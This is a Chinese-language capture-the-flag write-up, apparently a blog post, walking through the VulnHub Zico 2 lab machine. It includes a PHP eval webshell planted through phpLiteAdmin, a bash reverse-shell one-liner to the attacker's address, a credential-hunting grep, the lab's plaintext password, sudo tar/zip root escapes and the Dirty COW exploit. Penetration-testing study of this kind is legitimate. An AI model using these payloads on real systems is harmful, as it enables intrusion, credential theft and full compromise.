Zico 2 靶机 - 详细流程

  • ✨ 准备工作


  1. 靶机 && kali 环境要求

    机器名网络配置
    靶机Zico 2NAT 模式
    攻击机kaliNAT 模式
  2. 靶机下载链接:zico2: 1 ~ VulnHub   

  3. 打开 VMware,将 zico2.ova 拖拽到 VMware

  4. 设置 虚拟机名称(A) - 存储路径(P)- 导入  

  5. 若是,提示出错,点击重试即可

  6. 启动虚拟机,等待安装完成

  7. 启动成功

  8. 右击靶机 - 设置  

  9. 修改网卡(与自己的主机在同一网段下即可,有插网线推荐桥接,WIFI推荐NAT),这里我选择NAT,点击确定

  10. 关闭虚拟机,重复上述操作(8)

  11. 点击  高级,查看MAC地址 - 确定  

  12. 为了防止干扰,这里我将 网络适配器2 的网卡移除

  13. 打开虚拟机

  • ☄️ 信息收集


  1. 确定NAT网段

  2. 可以看到NAT是192.168.49.0/24网段的

  3. kali 执行

    sudo nmap -sn -PR 192.168.49.0/24

  4. 发现靶机IP为:192.168.49.129

  5. 端口扫描:nmap -sV -p- 192.168.49.129      

  6. 发现开启了 22,80 和 111 以及 54476 端口,尝试访问 80 端口,发现如下页面

  • 🌠 获取shell


  1. 在页面下方,发现一个功能点并点击,发现其 URL 具有文件包含漏洞的特征(文件?参数=页面

  2. 第一时间尝试文件包含读取,将 tools.html  替换为  ../../../../../../../../../../etc/passwd  ,确认存在文件包含漏洞。

  3. 继续寻找功能点,发现可见功能点少的可伶,进行目录扫描,找到一个后台登录界面

    dirsearch -u "http://192.168.49.129/"
    
    # 登录界面:
    http://192.168.49.129/dbadmin/test_db.php

  4. 发现是 PHPLiteAdmin ,使用默认密码 admin进行登录, 登陆成功!

    # 密码
    admin

  5. 版本是1.9.3 ,并且首页包含了其绝对路径,这对我们的漏洞复现会有帮助(复现可以参考一下这篇文章:phpliteadmin <= 1.9.3 远程php代码执行漏洞测试_网络安全|最新Exploit分析的技术博客_51CTO博客

  6. 第一步:创建数据库 test.php   (名字任意,带 .php 就行)

    # 链接
    http://192.168.49.129/dbadmin/test_db.php
    
    # Create New Databas
    test.php

  7. 第二步:点击我们新创建的数据库,创建数据表 test_table (这里名字和数量任意)

    # 链接
    http://192.168.49.129/dbadmin/test_db.php?switchdb=%2Fusr%2Fdatabases%2Ftest_users
    
    # Name
    test_table
    
    # Number of Fields
    1

  8. 第三步:写入内容(Field任意,Type为 TEXT,Default Value 处填写我们的恶意语句 <注意:恶意语句不能带任何引号>

    # 链接
    http://192.168.49.129/dbadmin/test_db.php?action=table_create
    
    # Field
    test_content
    
    # Type
    TEXT
    
    # Default Value
    <?php @eval($_POST[cmd])?>

  9. 第四步:写入成功,根据上面提示的绝对路径和任意文件读取漏洞,使用蚁剑进行连接

  10. 确认权限,是一个Web服务用户

  11. 生成反弹shell的语句,在线链接:反弹shell生成器 (ywhack.com)    ,这里我将其反弹到 kali

    # 监听语句
    sudo nc -lvnp 555
    
    # 执行反弹shell的命令
    /bin/bash -c '生成的语句'
    
    # 例:
    /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.49.131/555 0>&1'

  12. 反弹成功

  • 💫 权限提升(3)


  1. 通过命令查看,确认该靶机可登录的用户有 rootzico

    grep '/bin/bash$' /etc/passwd

  2. 查找可能包含密码的文件,发现 /home/zico/wordpress/wp-config.php 比较可疑

    find / -type f -readable -exec grep -lE "user|username|passwd|password" {} + 2>/dev/null | xargs -r grep -Hn "zico" 2>/dev/null
    
    # 说明
    从根目录开始查找所有可读的文件,筛选出包含特定关键词("user"、"username"、"passwd" 或 "password")的文件
    然后在这些文件中查找包含另一个关键词("zico")的行,
    最终输出匹配行的文件名和行号,并且在过程中忽略权限错误。
    
    # PS:zico 为可登录的用户名

  3. 查看该文件,发现 zico 用户的账户和密码

    cat /home/zico/wordpress/wp-config.php
    
    # 账号
    zico
    
    # 密码
    sWfCsfJSPV9H3AmQzw8

  4. 另起终端,使用 ssh 登录

    ssh zico@192.168.49.129
    
    # 密码
    sWfCsfJSPV9H3AmQzw8

  5. Sudo 提权(2 )&& 脏牛提权(1)

    提权方式详细说明

    方式一:Sudo 提权(2)

    • 列出当前用户拥有sudo权限的命令

    • sudo -l

      sudo -l

    • 发现拥有sudo权限的是 tarzip ,使用 Linux的辅助提权网站,辅助我们提权 GTFOBins  ;

      tar 提权

      • 输入tar  - 点击 Sudo

        tar

      • 复制并执行这条命令,提权成功

        sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

      zip 提权

      • 输入zip  - 点击 Sudo

        zip
          
          # 临时文件
          TF=$(mktemp -u)
          /tmp/147.zip
          
          # 提权 (将/etc/hosts文件压缩到 /tmp/111.zip 文件中)
          sudo zip $TF /etc/hosts -T -TT 'sh #'
          sudo zip /tmp/147.zip /etc/hosts -T -TT 'sh #'
          
          sudo rm /tmp/147.zip

      • 修改并执行命令,提权成功

        sudo zip /tmp/147.zip /etc/hosts -T -TT 'sh #'

    方式二:脏牛提权

    • 查看靶机的系统版本

      uname -r

    • 发现是3.2.0-23 版本,介于 2.6.22 < x < 3.9  ,尝试进行脏牛提权

    • 在蚁剑的 数据管理 中选中建立的连接,右键 - 选择文件管理, 查看文件

    • 下载链接:Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) - Linux local Exploit (exploit-db.com)   

    • 若官网不可用,也可以在github任找一个,例:NIMOS/exploit/exploit-db/40839.c at 2c451f84893956f6ef90d689c20062bb073e865d · sominsong/NIMOS (github.com)    ,

    • 将提权文件拖拽到网站目录下(默认路径:/var/www 没有权限,所以我们随便点到 /var/www 目录下的任意文件夹就可以上传了)

    • 切换到当前目录,编译执行,并输入要设置的密码

      # 切换目录(你上传的目录)
      cd /var/www/css
      
      # 查看当前目录
      ls
      
      # 编译 40839.c ,输出可执行文件 40839 
      gcc -pthread 40839.c -o 40839 -lcrypt
      
      # 执行
      ./40839
      
      # 输入要设置的密码(这里我输入123456)
      123456

    • 添加 高权限 firefart 用户 成功

    • PS:这里添加成功后可能会卡住,卡住也没关系,这里我们需要登录之前找到的 zico 用户 来切换用户(当前终端无法切换用户)

      ssh zico@192.168.49.129
      
      # 密码
      sWfCsfJSPV9H3AmQzw8
      
      # 切换用户
      su firefart
      
      # 输入你设置的密码
      123456
      
      # 提权成功

  6. 提权成功,查找flag

    find /root \( -iname "*flag*" -o -exec grep -qi "flag" {} \; \) -print 2>/dev/null
    
    # 说明
    从 /root 目录下查找 文件名或文件内容包含 flag 的文件 (一般flag都在root下,你也可以改为 / ,从根目录开始找)

  7. 附Falg位置: /root/flag.txt   ,

    cat /root/flag.txt

  • 🌌 总结


  1. 流程:主机发现 - 信息收集 - Web渗透 -  获取shell - 权限提升
  2. Web渗透
    1. 当发现 文件?参数=页面 类型,甚至是 文件?参数 ,请第一时间尝试文件包含;

    2. 判明框架网站使用某套框架和特殊的软件时,请第一时间搜索 Nday;

    3. 寻找密码的语句可以在获取 shell 后,尝试运行一下,有时会有意想不到的效果;

      find / -type f -readable -exec grep -lE "user|username|passwd|password" {} + 2>/dev/null | xargs -r grep -Hn "zico" 2>/dev/null
    4. 当某个目录拖不进文件时,可以换它的子目录或父目录,因为只是当前目录没有写的权限罢了;

    5. 寻找 Flag 的语句(每次手动翻太麻烦了,这次直接写个查询语句,以后方便用)

      find /root \( -iname "*flag*" -o -exec grep -qi "flag" {} \; \) -print 2>/dev/null
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值